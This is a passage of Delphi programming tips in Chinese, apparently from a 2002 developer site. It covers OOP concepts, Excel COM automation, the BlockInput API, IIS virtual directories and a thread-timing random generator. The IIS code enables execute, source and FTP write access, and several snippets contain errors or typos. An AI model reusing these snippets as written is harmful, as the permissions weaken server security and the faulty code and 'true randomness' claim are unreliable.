可能很多人写这样的代码的时候脑子里还没有封装性的概念，可是你看了这篇文章，就再也不要干这样的事了(改邪归正吧你!)。在我看来TForm1就是TForm1,TForm2就是TForm2，它们都是为了实现某些特定的功能而存在的，所以它们提供给外界一些接口(一些属性，方法，还有事件,事件说严格一点，也是属性)，来实现它们自己所承诺的功能。至于这些接口的具体实现，应当由它们自身来维护，外界没有必要，也没有办法插手。这个思想，对应到实际应用中，也就是Form2.Edit1是否有必要被From1直接访问的问题了。我本人比较倾向于下面的实现：

//以下为Unit1中TForm1的部分内容

procedure TForm1.Button1Click(Sender: TObject);

begin

TForm2(FAnotherForm).EditText := 'abc'; // <-- 这个实现，体现了封装的思想

end;

//以下为Unit2中TForm2的定义

type

TForm2 = class(TForm)

Edit1: TEdit;

private

function GetEditText: string;

procedure SetEditText(const Value: string);

public

property EditText: string read GetEditText write SetEditText;

// <-- 我的推荐用法；

end;

……

function TForm2.GetEditText: string;

begin

result := Edit1.Text;

end;

procedure TForm2.SetEditText(const Value: string);

begin

if Value <> EditText then

Edit1.Text := Value;

end;

这里的FAnotherForm是TForm1的一个私有属性，它是指向TForm2的一个实例的指针（这个用法在第一篇里做了强调）。访问TForm2的EditText 属性，而不是鲁莽的直接访问TForm2的Edit1.Text，体现了一种思想，那就是分工协作的思想，那就是独立自主的思想，也就是封装性的思想。
这里，想和您说说关于继承和多态。

继承和多态是密切相关的。Object Pascal引入了一种多态的机制，叫重载(Overload)，它的思想与面向对象关系不大，这里不作讨论。与面向对象思想密切相关的多态是我们着重要讨论的。

多态依赖于抽象方法以及虚方法的概念，同时也和继承密切相关。以为我们往往定义一些底层的对象，然后将其某些实现定义为抽象的，也就是说我们仅仅定义了接口，而没有定义具体的实现细节。按照这样的思路，我们还会定义多个派生（继承）的对象，在这些对象中真正实现那些在祖先类中未曾实现的细节。这就使得我们先前定义的底层类，具有多态的特性。这种机制的好处在于，我们使用这些类的时候，只要一套代码，就可以完成多种功能。而唯一需要改变的就是创建对象的实例的那一部分。

观察这样的一个类：

TStream = class(TObject)

……

public

function Read(var Buffer; Count: Longint): Longint; virtual; abstract;

function Write(const Buffer; Count: Longint): Longint; virtual; abstract;

……

end;

virual以及abstract保留字表明了Read以及Write方法是纯虚函数。这表明TStream这个类并不能被真正使用（不能创建该类的实例），它只是一个类似于接口的类，它定义了作为TStream类应当具备以及需要处理的基本功能。而且它还规定，其他从TStream类派生出的类，必须去实现的功能（如Read以及Write等）。

举例来说，TFileStream，以磁盘文件应用的方式实现了TStream类；而TMemoryStream则以内存应用的方式实现了TStream类。现在假设有一个类TMyClass提供一个SaveToStream的方法：

TMyClass = Class(TObject)

procedure SaveToStream(Stream: TStream);

end;

则应用多态的思想，可以有这样的代码：

var

strm: TStream;

MyClass: TMyClass;

begin

strm := TFileStream.Create(‘abc.txt’); // ? 此处Stream的真正实例类型是TFileStream

MyClass := TMyClass.Create;

MyClass.SaveToStream(strm);

…..

end;

而要将MyClass的内容存放到内存中，只需改变

strm := TFileStream.Create(‘abc.txt’);

为:

strm := TMemoryStream.Create;

即可。

多态的使用是需要两方面的工作，其一当然是类的构架中考虑到了多态，能够提供实现某种功能的中间类（抽象类）；其二，是懂得去运用这些中间类，这个工作体现在定义一些过程，函数的参数上。

另外很重要的一点，我想提醒大家的是，类的规划是很重要的，在面向对象编程的时代，类的框架很大程度上决定了程序的框架，决定了软件开发的成败。结构清楚，层次分明的类构架，不仅易于功能划分与扩展，同时也更易于代码的维护。而在这之中，应用继承和多态的思想，引入抽象类，引入中间类，是较为可取的一种方法。

以下列出Delphi中提供的一部分抽象类与具体类：

抽象类 派生的具体类

TStream TFileStream，TMemoryStream；

TCustomIniFile TIniFile, TMemIniFile，TRegistryIniFile；

TStrings TStringList，TMemoStrings，TListBoxStrings；

还有很多，等待你我去发现。这里最常用的是TStream,而最令我惊异的是TCustomIniFile，它的TRegistryIniFile允许你用访问IniFile的方式来访问注册表！这使得我可以用一套代码，实现写注册表和写Ini文件的功能。这其中的技术虽然简单，但是它的意义非同凡响！


Delphi控制Excel2000心得
sunxiyu

摘　要：Delphi控制Excel2000代码分类
关键字：Delphi Excel
类　别：COM & ActiveX

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

(一) 使用动态创建的方法

首先创建 Excel 对象，使用ComObj:
var ExcelApp: Variant;
ExcelApp := CreateOleObject( 'Excel.Application' );

1) 显示当前窗口：
ExcelApp.Visible := True;

2) 更改 Excel 标题栏：
ExcelApp.Caption := '应用程序调用 Microsoft Excel';

3) 添加新工作簿：
ExcelApp.WorkBooks.Add;

4) 打开已存在的工作簿：
ExcelApp.WorkBooks.Open( 'C:\Excel\Demo.xls' );

5) 设置第2个工作表为活动工作表：
ExcelApp.WorkSheets[2].Activate;
或
ExcelApp.WorksSheets[ 'Sheet2' ].Activate;

6) 给单元格赋值：
ExcelApp.Cells[1,4].Value := '第一行第四列';

7) 设置指定列的宽度（单位：字符个数），以第一列为例：
ExcelApp.ActiveSheet.Columns[1].ColumnsWidth := 5;

8) 设置指定行的高度（单位：磅）（1磅＝0.035厘米），以第二行为例：
ExcelApp.ActiveSheet.Rows[2].RowHeight := 1/0.035; // 1厘米

9) 在第8行之前插入分页符：
ExcelApp.WorkSheets[1].Rows[8].PageBreak := 1;

10) 在第8列之前删除分页符：
ExcelApp.ActiveSheet.Columns[4].PageBreak := 0;

11) 指定边框线宽度：
ExcelApp.ActiveSheet.Range[ 'B3:D4' ].Borders[2].Weight := 3;
1-左 2-右 3-顶 4-底 5-斜( \ ) 6-斜( / )

12) 清除第一行第四列单元格公式：
ExcelApp.ActiveSheet.Cells[1,4].ClearContents;

13) 设置第一行字体属性：
ExcelApp.ActiveSheet.Rows[1].Font.Name := '隶书';
ExcelApp.ActiveSheet.Rows[1].Font.Color := clBlue;
ExcelApp.ActiveSheet.Rows[1].Font.Bold := True;
ExcelApp.ActiveSheet.Rows[1].Font.UnderLine := True;

14) 进行页面设置：

a.页眉：
ExcelApp.ActiveSheet.PageSetup.CenterHeader := '报表演示';
b.页脚：
ExcelApp.ActiveSheet.PageSetup.CenterFooter := '第&P页';
c.页眉到顶端边距2cm：
ExcelApp.ActiveSheet.PageSetup.HeaderMargin := 2/0.035;
d.页脚到底端边距3cm：
ExcelApp.ActiveSheet.PageSetup.HeaderMargin := 3/0.035;
e.顶边距2cm：
ExcelApp.ActiveSheet.PageSetup.TopMargin := 2/0.035;
f.底边距2cm：
ExcelApp.ActiveSheet.PageSetup.BottomMargin := 2/0.035;
g.左边距2cm：
ExcelApp.ActiveSheet.PageSetup.LeftMargin := 2/0.035;
h.右边距2cm：
ExcelApp.ActiveSheet.PageSetup.RightMargin := 2/0.035;
i.页面水平居中：
ExcelApp.ActiveSheet.PageSetup.CenterHorizontally := 2/0.035;
j.页面垂直居中：
ExcelApp.ActiveSheet.PageSetup.CenterVertically := 2/0.035;
k.打印单元格网线：
ExcelApp.ActiveSheet.PageSetup.PrintGridLines := True;

15) 拷贝操作：

a.拷贝整个工作表：
ExcelApp.ActiveSheet.Used.Range.Copy;
b.拷贝指定区域：
ExcelApp.ActiveSheet.Range[ 'A1:E2' ].Copy;
c.从A1位置开始粘贴：
ExcelApp.ActiveSheet.Range.[ 'A1' ].PasteSpecial;
d.从文件尾部开始粘贴：
ExcelApp.ActiveSheet.Range.PasteSpecial;

16) 插入一行或一列：
a. ExcelApp.ActiveSheet.Rows[2].Insert;
b. ExcelApp.ActiveSheet.Columns[1].Insert;

17) 删除一行或一列：
a. ExcelApp.ActiveSheet.Rows[2].Delete;
b. ExcelApp.ActiveSheet.Columns[1].Delete;

18) 打印预览工作表：
ExcelApp.ActiveSheet.PrintPreview;

19) 打印输出工作表：
ExcelApp.ActiveSheet.PrintOut;

20) 工作表保存：
if not ExcelApp.ActiveWorkBook.Saved then
ExcelApp.ActiveSheet.PrintPreview;

21) 工作表另存为：
ExcelApp.SaveAs( 'C:\Excel\Demo1.xls' );

22) 放弃存盘：
ExcelApp.ActiveWorkBook.Saved := True;

23) 关闭工作簿：
ExcelApp.WorkBooks.Close;

24) 退出 Excel：
ExcelApp.Quit;

(二) 使用Delphi 控件方法
在Form中分别放入ExcelApplication, ExcelWorkbook和ExcelWorksheet。

1） 打开Excel
ExcelApplication1.Connect;

2) 显示当前窗口：
ExcelApplication1.Visible[0]:=True;

3) 更改 Excel 标题栏：
ExcelApplication1.Caption := '应用程序调用 Microsoft Excel';

4) 添加新工作簿：
ExcelWorkbook1.ConnectTo(ExcelApplication1.Workbooks.Add(EmptyParam,0));
5) 添加新工作表：
var Temp_Worksheet: _WorkSheet;
begin
Temp_Worksheet:=ExcelWorkbook1.
WorkSheets.Add(EmptyParam,EmptyParam,EmptyParam,EmptyParam,0) as _WorkSheet;
ExcelWorkSheet1.ConnectTo(Temp_WorkSheet);
End;
6) 打开已存在的工作簿：
ExcelApplication1.Workbooks.Open (c:\a.xls
EmptyParam,EmptyParam,EmptyParam,EmptyParam,
EmptyParam,EmptyParam,EmptyParam,EmptyParam,
EmptyParam,EmptyParam,EmptyParam,EmptyParam,0)

7) 设置第2个工作表为活动工作表：
ExcelApplication1.WorkSheets[2].Activate; 或
ExcelApplication1.WorksSheets[ 'Sheet2' ].Activate;

8) 给单元格赋值：
ExcelApplication1.Cells[1,4].Value := '第一行第四列';

9) 设置指定列的宽度（单位：字符个数），以第一列为例：
ExcelApplication1.ActiveSheet.Columns[1].ColumnsWidth := 5;

10) 设置指定行的高度（单位：磅）（1磅＝0.035厘米），以第二行为例：
ExcelApplication1.ActiveSheet.Rows[2].RowHeight := 1/0.035; // 1厘米

11) 在第8行之前插入分页符：
ExcelApplication1.WorkSheets[1].Rows[8].PageBreak := 1;

12) 在第8列之前删除分页符：
ExcelApplication1.ActiveSheet.Columns[4].PageBreak := 0;

13) 指定边框线宽度：
ExcelApplication1.ActiveSheet.Range[ 'B3:D4' ].Borders[2].Weight := 3;
1-左 2-右 3-顶 4-底 5-斜( \ ) 6-斜( / )

14) 清除第一行第四列单元格公式：
ExcelApplication1.ActiveSheet.Cells[1,4].ClearContents;

15) 设置第一行字体属性：
ExcelApplication1.ActiveSheet.Rows[1].Font.Name := '隶书';
ExcelApplication1.ActiveSheet.Rows[1].Font.Color := clBlue;
ExcelApplication1.ActiveSheet.Rows[1].Font.Bold := True;
ExcelApplication1.ActiveSheet.Rows[1].Font.UnderLine := True;

16) 进行页面设置：
a.页眉：
ExcelApplication1.ActiveSheet.PageSetup.CenterHeader := '报表演示';
b.页脚：
ExcelApplication1.ActiveSheet.PageSetup.CenterFooter := '第&P页';
c.页眉到顶端边距2cm：
ExcelApplication1.ActiveSheet.PageSetup.HeaderMargin := 2/0.035;
d.页脚到底端边距3cm：
ExcelApplication1.ActiveSheet.PageSetup.HeaderMargin := 3/0.035;
e.顶边距2cm：
ExcelApplication1.ActiveSheet.PageSetup.TopMargin := 2/0.035;
f.底边距2cm：
ExcelApplication1.ActiveSheet.PageSetup.BottomMargin := 2/0.035;
g.左边距2cm：
ExcelApplication1.ActiveSheet.PageSetup.LeftMargin := 2/0.035;
h.右边距2cm：
ExcelApplication1.ActiveSheet.PageSetup.RightMargin := 2/0.035;
i.页面水平居中：
ExcelApplication1.ActiveSheet.PageSetup.CenterHorizontally := 2/0.035;
j.页面垂直居中：
ExcelApplication1.ActiveSheet.PageSetup.CenterVertically := 2/0.035;
k.打印单元格网线：
ExcelApplication1.ActiveSheet.PageSetup.PrintGridLines := True;

17) 拷贝操作：

a.拷贝整个工作表：
ExcelApplication1.ActiveSheet.Used.Range.Copy;

b.拷贝指定区域：
ExcelApplication1.ActiveSheet.Range[ 'A1:E2' ].Copy;

c.从A1位置开始粘贴：
ExcelApplication1.ActiveSheet.Range.[ 'A1' ].PasteSpecial;

d.从文件尾部开始粘贴：
ExcelApplication1.ActiveSheet.Range.PasteSpecial;

18) 插入一行或一列：
a. ExcelApplication1.ActiveSheet.Rows[2].Insert;
b. ExcelApplication1.ActiveSheet.Columns[1].Insert;

19) 删除一行或一列：
a. ExcelApplication1.ActiveSheet.Rows[2].Delete;
b. ExcelApplication1.ActiveSheet.Columns[1].Delete;

20) 打印预览工作表：
ExcelApplication1.ActiveSheet.PrintPreview;

21) 打印输出工作表：
ExcelApplication1.ActiveSheet.PrintOut;

22) 工作表保存：
if not ExcelApplication1.ActiveWorkBook.Saved then
ExcelApplication1.ActiveSheet.PrintPreview;

23) 工作表另存为：
ExcelApplication1.SaveAs( 'C:\Excel\Demo1.xls' );

24) 放弃存盘：
ExcelApplication1.ActiveWorkBook.Saved := True;

25) 关闭工作簿：
ExcelApplication1.WorkBooks.Close;

26) 退出 Excel：
ExcelApplication1.Quit;
ExcelApplication1.Disconnect;

(三) 使用Delphi 控制Excle二维图
在Form中分别放入ExcelApplication, ExcelWorkbook和ExcelWorksheet
var asheet1,achart, range:variant;

1）选择当第一个工作薄第一个工作表
asheet1:=ExcelApplication1.Workbooks[1].Worksheets[1];

2）增加一个二维图
achart:=asheet1.chartobjects.add(100,100,200,200);

3）选择二维图的形态
achart.chart.charttype:=4;

4）给二维图赋值
series:=achart.chart.seriescollection;
range:=sheet1!r2c3:r3c9;
series.add(range,true);
5）加上二维图的标题
achart.Chart.HasTitle:=True;
achart.Chart.ChartTitle.Characters.Text:=’ Excle二维图’

6）改变二维图的标题字体大小
achart.Chart.ChartTitle.Font.size:=6;

7）给二维图加下标说明
achart.Chart.Axes(xlCategory, xlPrimary).HasTitle := True;
achart.Chart.Axes(xlCategory, xlPrimary).AxisTitle.Characters.Text := '下标说明';

8）给二维图加左标说明
achart.Chart.Axes(xlValue, xlPrimary).HasTitle := True;
achart.Chart.Axes(xlValue, xlPrimary).AxisTitle.Characters.Text := '左标说明';

9）给二维图加右标说明
achart.Chart.Axes(xlValue, xlSecondary).HasTitle := True;
achart.Chart.Axes(xlValue, xlSecondary).AxisTitle.Characters.Text := '右标说明';

10）改变二维图的显示区大小
achart.Chart.PlotArea.Left := 5;
achart.Chart.PlotArea.Width := 223;
achart.Chart.PlotArea.Height := 108;

11）给二维图坐标轴加上说明
achart.chart.seriescollection[1].NAME:='坐标轴说明';
E-Mail: sunxiyu@gd-soft.net
wuxy@gd-soft.net

声明：转载本文内容请与作者联系。
投稿人：sunxiyu　投稿日期：2002-1-21 0:39:00


禁止鼠标或键盘工作
寒易

摘　要：禁止鼠标或键盘工作
关键字：鼠标或键盘
类　别：系统控制

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

function FunctionDetect (LibName, FuncName: String; var LibPointer: Pointer): boolean;
var
  LibHandle: tHandle;
begin
  Result := false;
  LibPointer := NIL;
    if LoadLibrary(PChar(LibName)) = 0 then exit;
    LibHandle := GetModuleHandle(PChar(LibName));
    if LibHandle <> 0 then
    begin
      LibPointer := GetProcAddress(LibHandle, PChar(FuncName));
      if LibPointer <> NIL then Result := true;
    end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  xBlockInput : function (Block: BOOL): BOOL; stdcall;
begin
  if FunctionDetect ('USER32.DLL', 'BlockInput', @xBlockInput) then
  begin
    xBlockInput (True);  // 禁止键盘鼠标
    Sleep(10000);       // 等待10秒
    xBlockInput (False); // 允许键盘鼠标
  end;
end;

投稿人：寒易　投稿日期：2002-1-19 23:52:00


Delphi中的Wrapper设计模式

Wrapper设计模式能够把一个类的接口修改成另一个类所需要的接口，然后让本来因为接口不兼容的类能够在一起配合工作。

在Delphi中，为了让两个类能够支持同样的接口，它们必须有同样的祖先类这样才能在其他类调用的时候实现多态性。但是有的时候我们希望两个没有关系的类能够在一起工作，Wrapper设计模式就能够让一个类wrap部分另一个类的部分接口（当然也可以是全部，看具体的需要而定），从而能够模拟出一个类似于“uses”的类的多继承关系。

让我们来看一个例子，有一个类TSimple从TObject继承下来，但是我们希望能把TSimple这个类放到Delphi的控件面板（component palette）上，然而我们知道，如果一个类能够放置到控件面板上，这个类必须从TComponent派生下来。现在我们不想在改变TSimple的祖先类TObject的情况下（比如我们并没有TSimple的源代码）把TSimple放到控件面板上，我们可以构建一个继承自TComponent的TSimpleWapper类，在TSimpleWapper类中Wrap TSimple的接口。下面是这个例子的范例代码：
type
TSample = class (TObject)
private
FSomeValue: Integer;
public
function SomeAction(const Data: string): Boolean;
property SomeValue: Integer read FSomeValue write FSomeValue;
end;
TSampleWrapper = class(TComponent)
private
FSample: TSample;
public
property Sample: TSample read FSample;
end;

然后我们就可以在TSample类中实现TSample的接口了，代码如下：
TSampleWrapper = class (TComponent)
private
FSample: TSample;
protected
function GetSomeValue: Integer;
procedure SetSomeValue(Value: Integer);
public
function SomeAction(const Data: string): Boolean;
property Sample: TSample read FSample;
property SomeValue: Integer read GetSomeValue write SetSomeValue;

接口实现代码如下：
function TSampleWrapper.GetSomeValue: Integer;
begin
Result := Sample.SomeValue;
end;
procedure TSampleWrapper.SetSomeValue(Value: Integer);
begin
Sample.SomeValue := Value;
end;
function TSampleWrapper.SomeAction(const Data: string): Boolean;
begin
Result := Sample.SomeAction(Data);
end;


透明刷子

 brush:=GetStockObject( NULL_BRUSH );
SelectObject(Canvas.Handle,brush);


设置程序当前路径

 使用SetCurrentDirectory API函数来实现，我想我前一段在安装程序中注册COM组件时无法以找DLL的路径就是没有调用这个函数所造成的。


临时使用字体文件

 initialization
AddFontResource('x-files.ttf');
finalization
RemoveFontResource('x-files.ttf');


在线程中返回异常

 小龙教我的。
procedure TWinThread.HandleException;
var
s: string;
begin
s := ThreadIdStr+Format('! Exception: %s', [Exception(ExceptObject).Message]);
AddLog(lfErrorLog, s);
AddLog(lfDebugLog, s);
end;


对信号量的理解

 信标对象基本规则：
如果当前资源数大于0，则发出信标信号（等待函数在使线程变为可调度之后，再将当前资源数值减1）。
如果当前资源数是0，则不出信标信号（等待函数将线程挂起，直到有线程调用ReleaseSeamphore函数增加资源计数时为止）。
系统决不允许当前资源的数量为负值。
当前资源数量决不能大于最大资源数量。
应用实例：
一个线程执行完毕再执行另一个线程。
1。在建立信标对象时使用如下语法。
CreateSeamphore(NULL,0,MAXCOUNT,NULL);
即当前资源数为零（所有等待此信标对象的线程均为不可调度-挂起的状态）。
2。在主线程中建立工作线程。
3。在主线程中调用ReleaseSeamphore函数使信标对象的资源数加1。
4。工作线程的过程函数大致如下格式编写。
WaitForSingleObject(SemaphoreObject,INFINITE);
file://you code
ReleaseSemaphore(SemaphoreObject,1,NULL);
二。设置服务器一次最多处理几个客户的请求。
1。在建立信标对象时使用如下语法。
CreateSeamphore(NULL,MAXCOUNT,MAXCOUNT,NULL);
2。工作线程的过程函数大致如下格式编写：
WaitForSingleObject(SemaphoreObject,INFINITE);
file://you code
ReleaseSemaphore(SemaphoreObject,1,NULL);


对RegisterClass的一个误解

 以前以为使用RegisterClass函数所注册的类名是全局唯一的，今天试验了一下却不是，是在一个进程内唯一的。而RegisterClass所返回的Atom（全局原子）却是全局唯一的。


程序调试时Log信息

file://这是小龙的代码。
file://这段代码采用了临界区的方法所以适合多用户并发访问时的需要。
procedure AddLog(LogFileType: TLogFileType; const msg: string);
var
s: string;
pos: integer;
const MAXLOGFILESIZE = 2000000;
begin
// Add the error message to NT Event Log
if LogFileType = lfErrorLog then
NtLogError(msg);

  if HLogFiles[LogFileType] <> _HErr then
begin
s := FormatDateTime('yyyy-mm-dd hh:nn:ss  ',
Now) + msg + ^M^J;
EnterCriticalSection(CSLogFiles[LogFileType]);
try
pos := FileSeek(HLogFiles[LogFileType], 0,
1);
if (pos<>-1) and
(pos>MAXLOGFILESIZE) then begin
FileSeek(HLogFiles[LogFileType], 0,
0);
SetEndOfFile(HLogFiles[LogFileType]);
end;
FileWrite(HLogFiles[LogFileType], s[1],
Length(s));
finally
LeaveCriticalSection(CSLogFiles[LogFileType]);
end;
end;
end;


IIS虚拟目录操作

{------------------------------------------------------------------------------}
{
IIS VIRTUAL PATH
OPERATION
}
{
Create by
liguang
}
{
2001-6-8
}
{
}
{参考资料：大富翁论坛第468148号贴子
}
{参考资料：2000年7月份MSDN中IIsWebVirtualDir
}
{------------------------------------------------------------------------------}
unit
Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ComObj, IISOle_TLB, ActiveDs_TLB;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
private
{ Private declarations }
function CreateIISVirtualPath(MapPath:String;Path:String):Boolean;
function SetIISRootPathParam:Boolean;
function KillIISPath(MapPath:String):Boolean;
public
{ Public declarations }
end;

var
Form1: TForm1;
function ADsGetObject(const PathName: WideString; const GUID: TGUID; out I: IUnknown): HRESULT; stdcall

implementation

function ADsGetObject;external 'activeds.dll' name 'ADsGetObject'

{$R *.DFM}

function TForm1.CreateIISVirtualPath(MapPath:String;Path:String):Boolean;
var
I: IADsContainer;
ADs: IADs;
begin
Result:=false;
try
if ADsGetObject('IIS://localhost/w3svc', IID_IADsContainer, IUnknown(I)) = S_Ok then
begin
ADs := IADs(I.GetObject('IIsWebServer','1'));
i:=ADs as IADsContainer;
ADs := I.GetObject('IIsWebVirtualDir','Root') as IADs;
i:=ADs as IADsContainer;
ADs := I.Create('IIsWebVirtualDir',MapPath) as IADs;
ADs.Put('AccessRead','True');
ADs.Put('AccessScript','True');
ADs.Put('AccessExecute','True');
file://modify by liguang in 2001-7-8 comeback from shengzhen
file://if operating system is WINDOWS NT4.0+IIS4.0 then this call is error
ADs.Put('AccessSource','True');
ADs.Put('Path',Path);
ADs.SetInfo;
Result:=true;
end;
except
end;
end;

function TForm1.SetIISRootPathParam:Boolean;
var
I: IADsContainer;
ADs: IADs;
begin
Result:=false;
try
if ADsGetObject('IIS://localhost/w3svc', IID_IADsContainer, IUnknown(I)) = S_Ok then
begin
ADs := IADs(I.GetObject('IIsWebServer','1'));
i:=ADs as IADsContainer;
ADs := I.GetObject('IIsWebVirtualDir','Root') as IADs;
ADs.Put('AccessRead','True');
ADs.Put('AccessScript','True');
ADs.Put('AccessExecute','True');
ADs.Put('AccessSource','True');
ADs.SetInfo;
Result:=true;
end;
except
end;
end;

function TForm1.KillIISPath(MapPath:String):Boolean;
var
I: IADsContainer;
ADs: IADs;
begin
Result:=false;
if MapPath='Root' then
exit;
try
if ADsGetObject('IIS://localhost/w3svc', IID_IADsContainer, IUnknown(I)) = S_Ok then
begin
ADs := IADs(I.GetObject('IIsWebServer','1'));
i:=ADs as IADsContainer;
ADs := I.GetObject('IIsWebVirtualDir','Root') as IADs;
i:=ADs as IADsContainer;
ADs := I.GetObject('IIsWebVirtualDir',MapPath) as IADs;
i.Delete(ADs.Get_Schema,ADs.get_Name);
Result:=true;
end;
except
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if CreateIISVirtualPath('WebUser','E:\VC')=true then
MessageBox(GetforegroundWindow,'建立成功！','提示信息',MB_OK)
else
MessageBox(GetforegroundWindow,'建立失败！','提示信息',MB_OK);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if SetIISRootPathParam=true then
MessageBox(GetforegroundWindow,'修改成功！','提示信息',MB_OK)
else
MessageBox(GetforegroundWindow,'修改失败！','提示信息',MB_OK);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
if SetIISRootPathParam=true then
MessageBox(GetforegroundWindow,'修改成功！','提示信息',MB_OK)
else
MessageBox(GetforegroundWindow,'修改失败！','提示信息',MB_OK);
if CreateIISVirtualPath('WebUser','E:\VC')=true then
MessageBox(GetforegroundWindow,'建立成功！','提示信息',MB_OK)
else
MessageBox(GetforegroundWindow,'建立失败！','提示信息',MB_OK);
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
if KillIISPath('WebUser')=true then
MessageBox(GetforegroundWindow,'删除成功！','提示信息',MB_OK)
else
MessageBox(GetforegroundWindow,'删除失败！','提示信息',MB_OK);
end;

end.


动态生成计算字段

 做法是用两个一致的query1,query2,他们的
sql与databasename一样，如下可在query1中动态生成计算字段myfield
procedure TForm1.Button1Click(Sender: TObject);
var
j: integer;
t: tstringfield;
begin
query2.open;
Query1.Close;
query1.fielddefs.clear;
for j := 0 to query2.FieldDefs.Count - 1 do
with query2.FieldDefs.Items[j].FieldClass.Create(self) do
begin
FieldName := query2.FieldDefs.Items[j].name;
Name := Query1.Name + FieldName;
size := query2.FieldDefs.Items[j].size;
Index := j;
DataSet := Query1;
end; // with
Query1.FieldDefs.UpDate;
T := TStringField.Create(Self);
T.FieldName := 'myfield';
t.FieldKind := fkcalculated;
T.Name := Query1.Name + T.FieldName;
T.Index := query2.FieldDefs.Count;
T.DataSet := Query1;

Query1.FieldDefs.UpDate;
Query1.Open;
end;


在包中动态调用过程和函数

 bpl部分;
...
type
TUIPackageForm = class(TForm)
DataSource1: TDataSource;
DBNavigator1: TDBNavigator;
DBGrid1: TDBGrid;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;

procedure ShowMDIChildForm(MainApp:TApplication);stdcall;
exports
ShowMDIChildForm;
var
UIPackageForm: TUIPackageForm;
implementation
{$R *.DFM}
procedure ShowMDIChildForm(MainApp:TApplication);stdcall;
begin
Application:=MainApp;
UIPackageForm:=TUIPackageForm.Create(MainApp);
UIPackageForm.Show;
end;
procedure TUIPackageForm.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
Action := cafree;
end;
动态调用的主程序部分。
type
Tshowmdiform=procedure(MainApp:TApplication);stdcall;

showmdiform:Tshowmdiform;
begin
UIConnect := LoadPackage('bpl');
showmdiform:=getprocaddress(UIConnect,'ShowMDIChildForm');
if (@showmdiform<>nil) then
showmdiform(application)
else showmessage('no prc');
end;


在IIS中建立FTP虚拟目录

 procedure CreateFtpVDir(VDirName, Path: string);
var
Site, Server, VRoot, VDir: Variant;
begin
Site := CreateOleObject('IISNamespace');
Site := Site.GetObject('IIsFtpService', 'localhost/MSFTPSVC');
Server := Site.GetObject('IIsFtpServer', '1');
VRoot := Server.GetObject('IIsFtpVirtualDir', 'Root');

VDir := VRoot.Create('IIsFtpVirtualDir', VDirName);
VDir.Path := Path;
VDir.AccessRead := true;
VDir.AccessWrite := true;
VDir.SetInfo;

Site := Unassigned;
Server := Unassigned;
VRoot := Unassigned;
VDir := Unassigned;
end;


于 真正的 随机数的产生

来自： creation-zy, 时间：2001-9-29 10:23:00, ID：650976 [显示：小字体 | 大字体]
我已经找到了产生[red]真正的[/red]随机数（种子）的方法了——该方案每次可以产生好几个数字，
根据我的统计分析，这些数字Mod [blue]1000000[/blue]之后的分布比较均匀。
  原理——多任务系统中线程运行的不可再现性——即人们无法确定多个无关线程的进度关系，
要完全重现，必须达到自开机以来鼠标、键盘事件的完全一致，磁头调度的位置、时间的完全一致、
中断事件发生的完全一致、系统中线程运行的切换完全一致（注意，完全一致是指事件发生的
CPU所在周期、状态完全一致——可能吗？？  哈哈哈哈哈哈哈哈！！！）。

附源代码：

unit Thread;

interface

uses
  Classes, Windows;

type
  PInt=^Integer;
  TGo = class(TThread)
  private
    Ptr:PInt;
    WaitPtr:PInt;
  protected
    procedure Execute; override;
  public
    procedure Init(PtrInt,WaitPI:PInt);
  end;

implementation

procedure TGo.Execute;
begin
  while WaitPtr^=0 do
    Sleep(1);
  while not Terminated do
    Inc(Ptr^); //此处可以改进，让线程之间相互累加。。。
end;
procedure TGo.Init(PtrInt,WaitPI: PInt);
begin
  Ptr:=PtrInt;
  WaitPtr:=WaitPI;
end;

end.

unit Main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls, Spin;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Image1: TImage;
    Button2: TButton;
    SpinEdit1: TSpinEdit;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    procedure DrawGraph;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

uses
  Thread;

const
  ThreadNumber=6;
  DivNumber=200;
  ModNumber=1000000; //产生的数字 MOD 10^6 之后的分布比较均匀
var
  RecordInt:array[1..ThreadNumber]of Integer;
  RandRecord:array[0..DivNumber-1]of Integer;
procedure TForm1.Button1Click(Sender: TObject);
var
  Thds:array[1..ThreadNumber]of TGo;
  i,Start:Integer;
  Str:String;
begin
  Button1.Enabled:=false;
  Start:=0;
  for i:=1 to ThreadNumber do
  begin
    Thds[i]:=TGo.Create(true);
    RecordInt[i]:=0;
    Thds[i].Init(@RecordInt[i],@Start);
    Thds[i].Priority:=tpTimeCritical; //这一句有必要，否则...
  end;
  for i:=1 to ThreadNumber do
    Thds[i].Resume;
  Start:=1;
  Sleep(20); //实际上的等待时间超过4秒，Why??
  for i:=1 to ThreadNumber do
    Thds[i].Terminate;
  Str:='';
  for i:=1 to ThreadNumber do
  begin
    Inc(RandRecord[RecordInt[i] mod ModNumber div (ModNumber div DivNumber)]);
    Str:=Str+IntToStr(RecordInt[i])+'  ';
  end;
  Caption:=Str;
  Button1.Enabled:=true;
  Button1.SetFocus;
  DrawGraph;
end;
procedure TForm1.DrawGraph; //显示产生的数字是否均匀（此处分了200个区间，效果还可以）
var
  i,h,w,x1,x2,y,max:Integer;
begin
  h:=Image1.Height;
  w:=Image1.Width;
  max:=0;
  for i:=0 to DivNumber-1 do
    if max<RandRecord[i] then
      max:=RandRecord[i];
  with Image1.Canvas do
  begin
    Brush.Color:=clBlack;
    FillRect(Rect(0,0,w,h));
    if max=0 then
      exit;
    Brush.Color:=clLime;
    for i:=0 to DivNumber-1 do
    begin
      x1:=w*i div DivNumber;
